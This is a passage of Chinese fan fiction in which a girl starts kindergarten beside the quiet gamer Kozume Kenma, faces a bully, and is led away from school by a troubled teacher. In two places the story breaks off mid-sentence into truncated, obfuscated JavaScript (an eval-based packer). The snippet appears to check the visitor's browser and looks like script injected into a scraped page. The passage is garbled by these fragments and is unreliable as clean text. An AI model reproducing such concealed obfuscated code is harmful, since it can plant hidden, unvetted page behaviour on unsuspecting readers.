黑尾纱季含着泪,一小口一小口地吃完自己的那份,期间不断和哥哥交换着痛苦的眼神。 黑尾夫妇看着两个孩子愁眉苦脸的样子,忍不住相视一笑。 黑尾拓真甚至还偷偷给妻子竖了个大拇指,显然这场胡萝卜教育是他们早就计划好的。 好不容易熬过这场酷刑,黑尾铁朗立刻拉着妹妹逃往邻居家,连嘴都没来得及擦。 “研磨可厉害了,”路上黑尾铁朗兴奋地介绍:“他打游戏特别棒!上次我们一起通关了超级马里奥,他只用了不到一小时!” 黑尾纱季想起之前见过几次的那个安静男孩,黑色的头发,猫一样的眼睛,总是安静地站在人群外围。 她不明白他们什么时候变得这么熟了,居然都开始直呼其名了。 按响门铃后,孤爪研磨打开门,看到黑尾纱季时明显愣了一下,金色的瞳孔微微扩大。 但他什么也没说,只是默默让开位置,像只警惕的猫一样观察着新来的客人。 黑尾铁朗熟练地换鞋进屋,留下两个人在门口尴尬地对视。 最后还是他想起妹妹是第一次来,又折返回来牵着她的手往里走,嘴里还不停地说着游戏的趣事。 “研磨!今天要打最终boss了吗?”黑尾铁朗兴奋地问,一屁股坐在地毯上。 孤爪研磨点点头,金色的眼睛因为谈到游戏而亮了起来,整个人似乎都变得生动了几分。 他轻声解释着游戏规则,声音很轻但条理清晰。 黑尾纱季坐在一旁,看着他们热火朝天地准备游戏,突然感到一阵失落。 在她生病期间,哥哥似乎找到了新的玩伴,他们之间的默契让她心里酸酸的。 孤爪研磨敏锐地察觉到她的情绪,虽然不明白原因,但还是小声解释道:“我们在玩勇者斗恶龙......” 他的目光落在黑尾纱季膝盖的伤口上,那里已经结了一层薄薄的痂,“你的伤......好多了。” 黑尾纱季点点头,空气又陷入沉默。 不安地摆弄着手柄,孤爪研磨既不敢丢下客人去玩游戏,又不知该如何打破沉默,整个人看起来局促极了。 幸好黑尾铁朗及时解围:“纱季,要来看我们打游戏吗?” 她点点头,在旁边加了个坐垫,双手规规矩矩地放在膝盖上。 但很快她就对屏幕上的打打杀杀失去了兴趣,转而翻看起地上的游戏杂志。 虽然有些术语看不懂,但她还是被精美的游戏画面吸引了。 环顾四周,她发现整个房间都充满了游戏元素,书架上整齐排列着各种游戏卡带,按颜色和大小分类摆放,显示出主人一丝不苟的性格。 一台限量版的游戏机被放在专门的展示架上,旁边还有几个造型可爱的游戏角色手办。 当激昂的通关音乐响起时,孤爪研磨看着她手中的杂志,轻声问:“你喜欢这个游戏?” “嗯......“”黑尾纱季含糊地应着,其实她根本没仔细看内容。 孤爪研磨金色的猫眼微微弯起,在午后的阳光下像是融化的蜜糖:“那......下次一起玩吧。” 这个邀请来得突然,黑尾纱季愣了一下,抬头对上那双清澈的眼睛。 鬼使神差地,她点了点头。 就这样,黑尾纱季与孤爪研磨的故事,在这个弥漫着蛋糕香气的下午,悄然拉开了序幕。 4. 幼儿园 四月的东京,樱花已经开始凋零,粉白的花瓣随着微风飘落在幼儿园的操场上。 因为错过了幼儿园的开学时间,现在转学来东京的黑尾纱季只能被老师在办公室里单独迎接,等了解完黑尾纱季的情况以后,再带到班级里面去。 清晨的阳光透过行道树的缝隙洒在地上,形成斑驳的光影。 黑尾纱季跟着父母一起走到幼儿园门口,看着身边很多穿着棉质淡蓝色长袖衣服、戴着淡黄色帽子的同龄人们从身边经过。 他们三三两两地结伴而行,欢笑声此起彼伏。 沉默地把手背在身后没有说话,黑尾纱季只是用那双琥珀色的大眼睛好奇地打量着这个陌生的环境。 黑尾夫妇应该是担心黑尾纱季会像两年前刚刚进入幼儿园时候一样一直在默默流眼泪,以至于现在夫妇二人时不时地回头打量女儿的脸。 黑尾明美甚至蹲下身来,轻轻整理着女儿已经非常整齐的衣领。 毕竟比起令人头疼地嚎啕大哭,还是黑尾纱季这种默默淌眼泪比较有杀伤力。 那种无声的泪水总能轻易击垮父母的心防。 “......我不会哭的,真的。”感受到父母频频看过来的目光,黑尾纱季第三次保证道,小脸上写满了无奈。 她今天特意扎了两个整齐的小辫子,发绳上还缀着妈妈新买的草莓装饰。 天知道早上黑尾铁朗上学出门之前已经啰嗦过多少遍,就连我出门了这句话都没来得及说,而是不停回头叮嘱:“纱季要是有事就找老师”“纱季记得多交朋友”“纱季......”直到被妈妈笑着推出门去。 “所以爸爸妈妈哥哥为什么会觉得已经上了两年幼儿园的我会哭?”再一次感受到父母担忧的目光,黑尾纱季只好不解地开口询问,小手不自觉地绞着裙角。 笨蛋爸爸黑尾拓真抓抓头发,他哈哈着抬头看天,仿佛突然对天空中飘过的云朵产生了浓厚的兴趣。 而黑尾明美则是叹了口气,她弯着身子伸手把女儿有些凌乱的刘海理顺,然后温柔地解释:“是爸爸妈妈和哥哥比较担心纱季,因为纱季是我们的小宝贝。” “今天如果是哥哥来,爸爸妈妈也会这么担心吗?”黑尾纱季歪着头发问。 “肯定会的。”黑尾明美笑着捏了捏女儿软乎乎的脸蛋:“因为你们都是我们的宝贝呀,而且你哥哥当年哭得可惨了,整个幼儿园声音最大的就是他。” “那好吧。”黑尾纱季被这个回答说服了,她伸手牵着妈妈温暖的手掌,在校门口等待老师过来。 春风吹拂着她的小辫子,带来一阵淡淡的花香。 在这期间,她看到了孤爪研磨一个人背着个小书包往旁边的楼走去。 那个黑发男孩走路时总是低着头,仿佛对地面有着无限的兴趣。 两人的视线短暂对上,随后孤爪研磨点了点头就先走了,像一只警觉的小猫。 等老师来了以后,黑尾纱季挥别父母,跟着她走去办公楼。 走廊的墙壁上贴满了孩子们充满童趣的画作,五彩斑斓的颜色让整个空间都活泼起来。 老师带着黑尾纱季换上了统一的淡蓝色园服和淡黄色帽子以后,就把黑尾纱季带去她所在的班级。 路上老师还用黑尾纱季能理解的语言简单解释了一下幼儿园的情况,声音温柔得像在讲睡前故事。 黑尾纱季是在大班里面的向日葵班,班级里面有十九个同学,现在加上黑尾纱季刚好男女生的人数一样。 教室里传来孩子们叽叽喳喳的声音,像一群欢快的小鸟。 现在是小朋友们吃早餐的时间,等老师把黑尾纱季带到教室里的时候,香喷喷的早餐才刚刚推进教室。 食物的香气立刻充满了整个空间,让黑尾纱季的肚子不自觉地咕噜了一声。 一走进教室,黑尾纱季就眼尖的看到坐在角落的孤爪研磨,其他小朋友都凑在一起说话,只有他一个人安静地坐在旁边,看上去孤零零的。 简短的做完自我介绍以后,黑尾纱季就径直走到孤爪研磨旁边,跟老师申请要坐这里。 她的声音不大但很清晰,让教室里瞬间安静了一秒。 对上那双微微受惊的猫眼,黑尾纱季心情略好的点点头,然后坐下等待老师分发早餐。 她能感觉到周围小朋友好奇的目光,但此刻她更在意的是身边这个安静得像不存在一样的男孩。 今天的早餐是花朵造型的煎蛋和涂上果酱的吐司,旁边搭配了一杯温热的牛奶,煎蛋被精心做成了向日葵的形状,蛋黄正好是花心部分。 “蓝莓果酱啊......”拿到果酱以后,黑尾纱季小声嘀咕了一声,好担心是不是之前爸爸亲自做的那种超级酸的蓝莓果酱。 当时不管是黑尾铁朗还是黑尾纱季,都被酸得一张脸挤在一起,活像两个小老头。 幸运的是这次的果酱酸甜度都刚刚好,这让黑尾纱季有些开心,眼睛都亮了起来,像两颗闪闪发光的琥珀。 旁边孤爪研磨的饭量看上去很小,等黑尾纱季结束用餐以后,发现他还剩下半块吐司没有吃,他吃东西的样子也很特别,小口小口的,像是在完成一项艰巨的任务。 接下来的时间过得很快,早上上了一节课讲解了五十字音,因为这些家里妈妈都教过了,所以黑尾纱季都没有怎么听课。 她偷偷拿出书包里的画册开始看起来,那是一本装帧精美的硬皮书,封面上烫金的标题在阳光下闪闪发光。 自从上次被兔子先生的胡萝卜蛋糕欺骗了以后,黑尾纱季对于画册上的故事的态度都变谨慎了。 那个故事把胡萝卜蛋糕描述得多么美味,结果现实中的味道让她大失所望。 然而令她不解的是,虽然已经亲自感受到了胡萝卜蛋糕的难吃,但是她依旧向往着属于兔子先生的那一份胡萝卜蛋糕。 这种矛盾的心情让她困惑了很久。 为此妈妈只是笑眯眯的摸着黑尾纱季的头,然后说这就是文字的魅力。 现在年级还小的黑尾纱季不明白魅力是什么,也不知道妈妈为什么会这么说,但是在阅读这些画册的时候,她感觉自己像是生活在了另一个时空里,那里有着和现实世界不一样的人事物,都令她深深地着迷。 那些文字构筑的世界比现实更加绚丽多彩。 今天看的是一只小刺猬环游世界的故事,今天这本画册写到刺猬到了一个全是由泡泡组成的国度,里面什么东西都是由泡泡组成的,泡泡王国的居民也都是泡泡。 插图上的泡泡泛着七彩的光芒,美得不真实。 不管是天空还是大地,不管是山川还是河流,不管是房屋还是食物,都是由泡泡组成的。 小刺猬站在这个奇幻的国度里,显得格格不入。 所以大家看到小刺猬身上尖锐的刺的时候,都害怕极了。画面上的泡泡们都躲得远远的,脸上带着惊恐的表情。 那么泡泡王国如果在现实中会是什么样子的呢? 黑尾纱季手撑着脸,不由得就把视线转移到窗外,她开始幻想如果外面的一切都是泡泡那该是什么样子。 阳光下的树叶会不会变成透明的泡泡?云朵是不是本来就是巨大的泡泡? 身边的孤爪研磨一直在玩游戏,他修长的手指灵活地按动着游戏机上的按钮,时不时皱起眉头,又很快舒展开来。 两人就在这个安静的角落各自干着自己的事情,好像讲台上的老师不是在讲课而是一段背景音乐一样,直到下课的广播声响起来两人的视线再次对上,双方才恍然对方刚刚在课上做了什么。 但是他们都默契地没说什么,甚至在之后的自由活动中的时候,两人都没有交流,而是各自继续做着刚刚在做的事情。 这种不需要言语的相处方式让黑尾纱季感到莫名的舒适。 走廊上,班主任江头凉子从办公室走出来,与刚刚教孩子们五十字音的老师交流。 她的视线微微停在不远处安静看书的黑尾纱季身上,开始打听她的表现。江头老师的手指不自觉地摩挲着右手腕上的伤疤,眼神复杂。 “和孤爪一样,都是不听课的孩子,不过看他们的样子,应该都是家里教过的。”授课老师摇摇头:“就是看起来不太活泼,都不怎么出去玩。” 江头凉子的视线停留在黑尾纱季身上好一会,直到授课老师换了新话题以后才收回视线。 她把微微颤抖地右手收回口袋,继续笑着和同事交流。但她的笑容显得有些勉强,像是戴着一张精心制作的面具。 这时候,本来正在玩游戏的孤爪研磨瞥了一眼正在讲话的两个老师,身体微微往前倾,挡住了身边人的身影。 这个细微的动作没有逃过江头老师的眼睛,她的眉头几不可察地皱了一下。 ...... 大概是因为最近又认识了不少字,等到下午睡完午觉以后,黑尾纱季手中的书就已经全部看完了。 有些无聊的看着外面打打闹闹的同学们,黑尾纱季趴在桌子上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我来这里之前,研磨是怎么回家的呀?”黑尾纱季有些好奇地问道,她的辫子随着走路的动作轻轻摆动。 相处下来,她有些笃定,孤爪研磨不是那种会主动排队和人牵手回家的人。 他看起来就像一只独来独往的猫,更喜欢自己的小世界。 “啊,和老师牵手。”孤爪研磨淡淡地说,然后简单地讲述了自己之前落单的时候,基本上都是独自完成任务或者和老师一组去做事情。 他的语气平静,好像在讲述别人的故事。 听完他说了这些以后,黑尾纱季的双眼里顿时流露着一股同情,果然幼儿园都是一样,做什么都喜欢分成小组进行。 黑尾纱季之前在原来的幼儿园基本上都是和好友御幸一也一起进行的,想想原来的孤爪研磨,被迫和人绑在一起什么的,哪怕对方是老师,也很难受啊。 还好现在她和孤爪研磨一组,感觉他应该不是那种难相处的人,以后应该不会再和原来一样了。 孤爪研磨好像也是这么想的,他扭过头看着黑尾纱季,他的声音里带着一丝笑意:“不过以后和纱季一起,应该会挺好的。” “我也觉得。”黑尾纱季捏紧手里另一人的手,然后也跟着笑起来。 回到家没多久,黑尾铁朗也放学回家了,才放下书包他就冲去黑尾纱季的房间问起来今天的情况。 他的校服领带歪歪扭扭地挂在脖子上,显然是跑得太急了。 “还行吧,和研磨坐在一起,也是一起回家的。”黑尾纱季简单说了说在幼儿园的情况。 她正坐在窗边的小书桌前,手里还拿着今天新借的书。 “是研磨啊,那我放心了。”黑尾铁朗松了口气,一屁股坐在妹妹的床上,把整齐的床单坐得皱巴巴的。 有些好奇地看着他,黑尾纱季问道:“哥哥很喜欢研磨吗?” 她把书小心地放在桌上,转过身来认真地看着哥哥。 “嗯!因为我们是好朋友啊!”黑尾铁朗露出一个灿烂的笑容,眼睛里闪烁着真诚的光芒。 想起今天的相处,黑尾纱季赞同地跟着点了点头。 她已经开始期待明天的幼儿园生活了,也许,在这个新环境里,她也能找到属于自己的位置。 窗外,最后一片樱花花瓣轻轻飘落,仿佛在为这一天画上完美的句号。 5. 争执 窗外的樱花已经凋谢殆尽,嫩绿的新叶在阳光下闪烁着生命的光泽。 黑尾纱季坐在角落的位置,纤细的手指轻轻翻动着绘本,阳光透过玻璃窗在她蓬松的卷发上跳跃。 这是她在幼儿园的第四周,虽然已经熟悉了这里的一日流程,但与同学们的互动依然少得可怜。 教室里此起彼伏的欢笑声仿佛与她无关。 除了偶尔和孤爪研磨说几句话外,黑尾纱季大部分时间都沉浸在自己的世界里,这种状态在西东京时就已如此,转学后也没有任何改变。 “纱季,你看我画的画!” “纱季,要不要玩过家家?” “纱季......” 向日葵班的小朋友们却对这个安静的女孩充满好奇与喜爱。 这个年纪的孩子正处于以貌取人的阶段,而继承了母亲出众容貌的黑尾纱季,自然成为了众人瞩目的焦点。 她有着一双令人过目难忘的棕色大眼睛,澄澈的瞳孔里仿佛流淌着甜美的蜂蜜,当这双眼睛专注地凝视某人时,会让人产生被温暖包裹的错觉。 微微卷曲的栗色长发总是蓬松地垂在背后,衬得本就白皙的肌肤更加晶莹剔透。 最特别的是她天生微扬的唇角,即使面无表情时也像是在微笑,整个人宛如橱窗里精心制作的法国洋娃娃。 “黑尾同学好像童话里的公主哦。”班上的女生们常常这样窃窃私语。 正因如此,每天都有小朋友找各种理由接近她。有的会“不小心”把蜡笔滚到她脚边,有的会特意带来漂亮的贴纸要送给她,更有甚者会直接跑到她面前大声宣布“纱季是我最好的朋友”。 然而这些热情往往得不到回应。 黑尾纱季既不喜欢参与吵闹的集体游戏,也对户外活动提不起兴趣。 她宁愿坐在角落看书,或者看孤爪研磨打游戏。 渐渐地,围绕在她身边的孩子变少了,但那些充满好奇与喜爱的目光依然时不时落在她身上。 黑尾纱季本以为自己的幼儿园生活就会这样平静地度过,然后顺理成章地进入同样安稳的小学生活。 直到津地大和的出现打破了这个预期。 津地大和是向日葵班公认的小霸王。 这个体型比同龄人壮实一圈的男孩,有着超出常人的身高和与之匹配的好胜心。 在男生群体中,他凭借着过人的运动能力和不容置疑的强势性格,建立了说一不二的权威地位。 从黑尾纱季转学来的第一天起,津地大和就对这个与众不同的女孩产生了浓厚的兴趣。 “黑尾!来和我们踢足球吧!”午休时间,津地大和抱着足球冲到她面前,汗湿的额发贴在红扑扑的脸上。 黑尾纱季头也不抬地翻过一页书:“不了,谢谢。” “玩家家酒也很有趣的,你要不要当妈妈?”被拒绝后,津地大和很快又想到了新点子。 “我对过家家没兴趣。” “今天我们要玩忍者游戏,你来做公主好不好?” “......” 津地大和几乎尝试了所有能想到的邀请方式,却都遭到了黑尾纱季礼貌而坚定的拒绝。 屡战屡败的经历终于让这个小霸王恼羞成怒,在一次被拒后,他狠狠地把足球踢向围墙,皮球与水泥墙碰撞发出砰的一声巨响。 “我再也不和黑尾说话了!”他气呼呼地宣布,转身跑向操场。 原以为事情就此告一段落,没想到这只是个开始。 这天早晨,津地大和神秘兮兮地捧着一个透明塑料瓶走进教室,脸上带着掩饰不住的得意。 瓶子里赫然是一只手掌大小的独角仙。 “哇!是独角仙!” “好厉害!” “让我摸摸!” 在周围孩子们此起彼伏的惊叹声中,津地大和昂首挺胸地走到黑尾纱季面前,故意摇晃着瓶子,让甲虫在容器里爬动。 “看到了吗?这是我抓到的独角仙!”他将瓶子高高举起,几乎要贴到黑尾纱季脸上。 黑尾纱季的镇定第一次出现了裂痕。 她条件反射地向窗边挪动,眉头紧紧皱起,纤细的手指不自觉地攥紧了裙摆:“我很讨厌虫子,快拿走。” “这可是独角仙!”津地大和瞪大眼睛,似乎无法理解居然有人不喜欢这么酷的东西。 但看到黑尾纱季罕见的抗拒表情,他眼中闪过一丝兴奋的光芒,试探性地将瓶子又往前递了递,“它很温顺的,不会咬人......” “快上课了,老师已经快过来了。”一直沉默的孤爪研磨突然出声,同时故意把桌上的文具弄得哗啦作响。 在幼儿园这个微型社会里,老师的权威堪比童话中最可怕的黑魔法师。 他们不仅掌握着分发点心的大权,还能决定游戏时间的长度,是连最调皮的孩子都不敢违抗的存在。 听到老师这个关键词,津地大和立刻缩回手,悻悻地回到自己的座位。 黑尾纱季长舒一口气,转向孤爪研磨露出真诚的微笑:“谢谢你,研磨。” 孤爪研磨低着头,从抽屉里掏出游戏机,含糊地嘟囔了一句:“......不用谢。” 黑尾纱季没听清他说什么,但她知道该怎么表达谢意:“周末请妈妈做苹果派,你一定要来哦!” 游戏机后的黑发男孩微不可察地点点头,两人随即陷入各自的安静时光——一个沉浸在书页间,一个专注于像素世界。 然而平静并未持续太久。初次成功引起黑尾纱季情绪波动的津地大和仿佛找到了“正确方法”,下课后立刻将独角仙交给其他羡慕不已的同学,自己则直奔黑尾纱季的座位。 “黑尾!快来和我们一起玩!”他一边大喊一边抽走黑尾纱季刚打开的书本,啪的一声合上。 “......”黑尾纱季抬起头,眼中闪过一丝恼怒,但看到对方挑衅的笑容后,又觉得争执毫无意义。 她默默从书包里取出备用的图书,封面是《100种神奇的昆虫》,这是她特意为了克服对虫子的恐惧而借的。 可手指刚碰到封面,书就再次被津地大和夺走。 “这本也给我看看!”他得意地晃着战利品。 这下黑尾纱季真的生气了,她眯起那双漂亮的棕色眼睛,快速评估着面前这个比自己高大强壮的男孩。 脑海中回放着哥哥黑尾铁朗教导的“对付坏男生的一百种方法”。 “记住,纱季,遇到欺负你的男生,首先要保持冷静......” “然后找准时机......” “最后用力踢他们尿尿的地方!” 环顾四周,不知何时孤爪研磨已经离开了座位。 黑尾纱季深吸一口气,想起在西东京时看御幸一也打架的样子,果断推开桌子站起来。 木制课桌与地板摩擦发出刺耳的声响,引来周围同学的注目。 她明白,如果现在退缩,以后只会招来更多麻烦。 津地大和显然没料到这个安静的女孩会反抗,一时愣住了。 就在黑尾纱季握紧拳头准备出击的瞬间,班主任江头凉子的声音从门口传来:“你们在做什么!” 江头老师锐利的目光扫过两人悬殊的体型差和津地大和手中的书本,立刻明白了状况。 她严厉地命令津地大和归还书本,并将他带出教室训话。 这时孤爪研磨才慢悠悠地回到教室,手里还拿着没喝完的牛奶盒。 联想到老师及时的出现和消失的同伴,黑尾纱季恍然大悟,紧绷的小脸瞬间舒展开来:“原来你去叫老师了!周末的苹果派都给你!” 被道破行动的孤爪研磨有些不自在地捏紧游戏机,声音轻得几乎听不见:“这没什么......” 当垂头丧气的津地大和回到教室后,江头凉子却出人意料地将黑尾纱季也叫了出去。 更奇怪的是,老师没有在走廊谈话,而是直接把她带到了空荡荡的教师办公室。 阳光透过百叶窗在办公桌上投下条纹状的光影,空气中飘散着咖啡和粉笔灰混合的气味。 江头凉子反常地没有立即开口。 她的右手微微颤抖着,最后被塞进了口袋。那种复杂的目光让黑尾纱季感到莫名不安,不自觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“记住哥哥教你的。”黑尾铁朗无视父亲的警告,双手按在妹妹肩上,表情严肃得夸张:“对付这种男生,就瞄准他们尿尿的地方用力踢!” “嗯!“”黑尾纱季用力点头,在空中比划着动作,“今天要不是研磨叫来老师,我本来打算先给他一拳再补一脚的!” 这充满气势的宣言让忧心忡忡的父母哭笑不得。 黑尾明美欲言又止,最终只是叹了口气。 而黑尾拓真则在考虑是否该给女儿换班。 但听到孤爪研磨及时相助的事后,他又打消了这个念头——毕竟这对性格内向的兄妹能交到朋友实在难得。 “周末请研磨来家里玩吧,”黑尾明美提议:“我可以做苹果派。” “要放很多很多苹果!”黑尾纱季立刻补充,“研磨喜欢苹果多的。” 第二天早晨,黑尾铁朗执意要护送妹妹去幼儿园。 这个刚上小学一年级的哥哥气势汹汹的样子,活像要去讨伐恶龙的勇者,他甚至连书包都没放下,就拉着妹妹的手冲出了家门。 “放心,他会有分寸的。”同行的孤爪研磨头也不抬地说,手指在游戏机上快速按动。 看着哥哥仿佛随时会喷火的模样,黑尾纱季将信将疑。 然而事实证明孤爪研磨是对的——黑尾铁朗只是用身高优势震慑了津地大和,并附赠了一连串“晚上会变成怪兽来找你”之类的恐吓,最后在对方快哭出来时潇洒收手。 他用力揉了揉妹妹的头发:“有什么事情和哥哥说,我先走了。” 这个画面深深烙印在黑尾纱季的记忆中。 多年后长大的她依然清晰记得,那个一年级小学生的背影在晨光中显得格外高大,制服的领子因为跑得太急而翘起一边,书包带子松垮垮地挂在肩上,却莫名给人一种可靠的安心感。 那一刻,她无比确信自己是世界上最幸福的妹妹,拥有最棒的哥哥和最温暖的家庭。 即使后来经历了许多事,这份确信也从未改变。窗外的樱花已经凋谢殆尽,嫩绿的新叶在阳光下闪烁着生命的光泽。 6. 意外 自从黑尾铁朗来过幼儿园以后,黑尾纱季身边的麻烦终于结束,她和孤爪研磨的生活重新回到了平静的轨道上。 不过黑尾纱季一直都比较受老师的喜爱,特别是班主任江头凉子。 这位温柔的女教师总是会用慈爱的目光注视着黑尾纱季,就像看着自己最珍视的宝贝。 每当黑尾纱季完成一幅画作或是回答出一个难题时,江头凉子眼中闪烁的光芒总是格外明亮。 时不时江头凉子就会送给黑尾纱季一些小礼物,虽然有些是黑尾纱季不太喜欢的,比如之前江头凉子在津地大和事件以后给黑尾纱季的猴头菇小饼干。 “纱季,这是老师特意为你准备的哦。”江头凉子当时这样说着,眼中闪烁着期待的光芒。 因为自身身体状况不太好,黑尾夫妇之前听说隔壁华国的猴头菇对肠胃比较好以后,也试着给黑尾纱季制作猴头菇相关的料理。 记得那天晚上,厨房里飘着奇怪的味道,妈妈黑尾明美端着一碗冒着热气的猴头菇汤,脸上带着期待的笑容。 结果黑尾纱季不仅不爱吃猴头菇,而且再吃了一口后狠狠吐了好多,从那以后,黑尾纱季对于猴头菇制品就不再吃了。 每当闻到类似的味道,她都会下意识地皱起小鼻子。 想到当时江头凉子说自己喜欢吃这个......黑尾纱季困惑地歪着头,不明白为什么老师明知她不喜欢还要送这个。 黑尾纱季最后还是没憋住,和孤爪研磨悄悄说了这件事。 午休时间,两个小朋友躲在教室角落的图书角,头碰头地小声讨论着,孤爪研磨专注地听着黑尾纱季的困惑,两个人一起分析了一遍,最终也没能得出什么结果。 “也许老师只是记错了?”孤爪研磨最后这样猜测道。 ...... 最近黑尾纱季终于把家里的画册全部看完了,没有带新书来幼儿园上课的她,无聊得要命。 她趴在桌子上,用手指描绘着桌面木纹的纹路,感觉时间过得特别慢,图书角的图书都被她有全部看了一遍,连那些平时觉得幼稚的绘本都翻了好几遍。 同样无聊的还有孤爪研磨,他手里的卡带已经全部通关了,甚至一些他比较喜欢的游戏都二刷了一遍。 此刻他正百无聊赖地按着游戏机的按键,屏幕上的人物机械地重复着相同的动作。 现在也陷入了无游戏可打的困境,这种空虚感让他不自觉地叹了口气。 两人默默相视一眼,在开启今天的第十八声叹气以后,黑尾纱季决定不能继续了。 “研磨,我们还是出去找点事情做吧,不然真的好无聊。”黑尾纱季手撑着脸,她漫不经心的用铅笔笔尖戳着课桌上的小黑点,那个小黑点已经被她戳得凹陷下去了。 无语的看了一眼外面乐此不疲玩着室外设施的男孩子们,再看了一眼草地上正在给洋娃娃梳头的女孩子们,孤爪研磨问道:“你确定吗?那我不去。” 他的声音平静得没有一丝波澜,但眼神中透露着对这些活动的抗拒。 明白孤爪研磨的意思,黑尾纱季把双手放在大腿上头枕着桌子,她有些痛苦地说着:“好吧,我主要是不知道做什么了。” 她的声音闷闷的,因为脸贴在桌面上而有些变形。 “图书角?” “都看完了......” “......” 静默无言片刻,孤爪研磨也把头枕在桌上,两人默默注视着对方的眼睛。 “研磨,你的眼睛好像我昨天看过那个画册里面的猫猫大侠的眼睛。”黑尾纱季突然有了新发现,她凑近了一些,仔细观察着孤爪研磨金色的瞳孔。 “啊,是吗,那真荣幸。”孤爪研磨声线毫无波动的说着,听上去可不像是在荣幸。 这让黑尾纱季有些不满,她坐直起来正准备说些什么的时候,班主任江头凉子走了进来。 教室门被推开的声音打断了两个孩子即将开始的争论。 江头凉子是一个四十多岁的女人,岁月在她的脸上留下痕迹,却能在依稀之间看得出她年轻的时候一定是一个大美人。 她眼角的细纹中藏着温柔,嘴角微微上扬的弧度让人感到安心。 她今天头发难得梳了个精神的高马尾,几缕不听话的碎发垂在耳边,显得比平时年轻许多。 身上藕粉色的裙子看上去有些不合身,感觉宽松了很多,虽然打理得很整洁但是看得出来是一件放了很久的旧衣服。 裙摆处有些细微的磨损,但被细心地修补过。 “纱季是不是觉得有些无聊?”江头凉子笑眯眯地站在黑尾纱季面前,弯腰看着这个稚嫩可爱的小女孩,身边神色略微警惕的男孩被她忽略了。 她的声音像蜜糖一样甜美,却带着一丝不易察觉的急切。 “那我们一起去采购图书角的新书怎么样?” 听到可以去买新书,黑尾纱季的眼睛亮了亮,但是她总觉得有哪里不太对劲,于是又有些迟疑的看了孤爪研磨一眼。 后者的眉头已经微微皱起。 “现在是上课时间出去不合适吧?”孤爪研磨突然出声,声音比平时稍微大了一些:“而且还是带着学生出去。” 脸上的笑意淡了一瞬,江头凉子看了孤爪研磨一眼,然后说:“我已经和其他老师说过了,没问题的。” 她的语气依然温柔,但眼神中闪过一丝不悦。 说完她又笑意盈盈地看着黑尾纱季:“纱季要去书店吗,听说才有一批新书刚刚到哦。” 她伸出手,手指微微颤抖着,像是在极力控制着什么。 黑尾纱季心动了,她想着江头凉子往日里都对大家很好,小朋友们有什么争执都会轻声细语的慢慢解决矛盾,她还很喜欢给小朋友们发礼物,人也是香香的。 记忆中江头凉子身上总是带着淡淡的薰衣草香气,让人感到安心。 可以说江头凉子,是包括黑尾纱季在内向日葵班里面大家最喜欢的老师了。 每次她走进教室,孩子们都会不自觉地围上去,像一群渴望阳光的小向日葵。 “那我们可以在五点钟之前回来吗?”黑尾纱季有些期待的抬头。 “当然没问题。”江头凉子笑起来,眼角的细纹舒展开来,但笑意却未达眼底。 得到答案,黑尾纱季立马站起来,她伸手拍拍孤爪研磨的肩膀然后小声在他耳边说:“我悄悄地给你买柠檬糖!” 孤爪研磨没有回答,他的眉头还是微微皱着,看上去并不赞成黑尾纱季和江头凉子一起出去的这个行为,但是没有出声拒绝。 他只是微微点头表示自己听到了。 ...... 和江头凉子走到街道上了,黑尾纱季才后知后觉:“江头老师,我们为什么要从后门出来呀?而且都没看到门卫叔叔。” 她回头望了望幼儿园的方向,后门的小路比前门要窄很多,两旁长满了杂草。 幼儿园的门卫叔叔黑尾纱季很喜欢,这是一个很像玩具熊的叔叔,他的笑容也很亲切,每天早上看到黑尾纱季的时候都会大声地和她打招呼,放学的时候也会和每一个小朋友挥手再见。 想到没能和门卫叔叔打招呼,黑尾纱季心里有些失落。 “后门近一点。”江头凉子头也不抬地说着,脚步越来越快。 她像是在赶时间,匆匆地走在黑尾纱季面前,因为速度很快,以至于到最后黑尾纱季只能小跑着才能跟上她。 黑尾纱季的小皮鞋踩在石板路上,发出急促的哒哒声。 “呼......江头老师能慢一点吗?”黑尾纱季有些难受,脸上除了运动后的潮红外,还有细密的汗珠。 听到黑尾纱季的声音,江头凉子的脚步猛地一停,她扭头面无表情地看着黑尾纱季。 阳光从她背后照射过来,在她脸上投下深深的阴影,让她的表情看起来格外阴森。 这个变脸让黑尾纱季有些害怕,她下意识地后退了一步,小声道:“江头老师怎么了吗?” 她的声音微微发抖,手指不自觉地绞着裙角。 小女孩怯怯的模样让江头凉子的目光变得有些恍然,她好像已经很久没有见过她的理纱这样和自己说话了,是的,都怪她刚刚走得太快。 她眼神飘忽了一瞬,仿佛透过黑尾纱季看到了别的什么人。 但是很快,江头凉子脸上渐渐重新浮现出现温柔的笑容,这让黑尾纱季小小的呼出一口气。 然而不知为何,这个笑容让黑尾纱季感到更加不安了。 走上前牵着黑尾纱季的手,江头凉子放慢脚步:“好的,那我们赶紧走吧。” 她的手掌冰凉而湿润,像一条滑腻的蛇缠绕着黑尾纱季的小手。 然而两人走了十多分钟以后,黑尾纱季都没有见到书店的影子,反而是周围的建筑变得越来越陌生。 街道两旁的房屋逐渐变得低矮破旧,行人也越来越少,黑尾纱季的心跳开始加速,一种莫名的恐惧在心底蔓延。 在见到一个红色的电话亭以后,黑尾纱季在心中断定自己确实没有来过这里。 那个电话亭的玻璃上布满了裂纹,像是被人用力击打过一样。 “江头老师,我们不是要去书店吗?”黑尾纱季再次提问,她试图抽出被江头凉子紧紧握住的手,结果抽不出来。 江头凉子的手指像铁钳一样牢牢扣着她的手腕,已经有些发疼了。 没有回答黑尾纱季的问题,她又再次停下脚步,面无表情地看着眼前这个挣扎着想要离开自己身边的孩子。 她的眼睛空洞无神,像是两个深不见底的黑洞。 “理纱这是又不听话了吗?”江头凉子声音平静地问着,但是这句话却无端的让黑尾纱季有些害怕。 以至于黑尾纱季没注意到江头凉子把自己的名字都叫错了。 她的脑海中只有一个念头在不断放大:这不是平时的江头老师。 “我们不是说好了要去书店吗?”黑尾纱季再次鼓起勇气试图把话题继续下去。 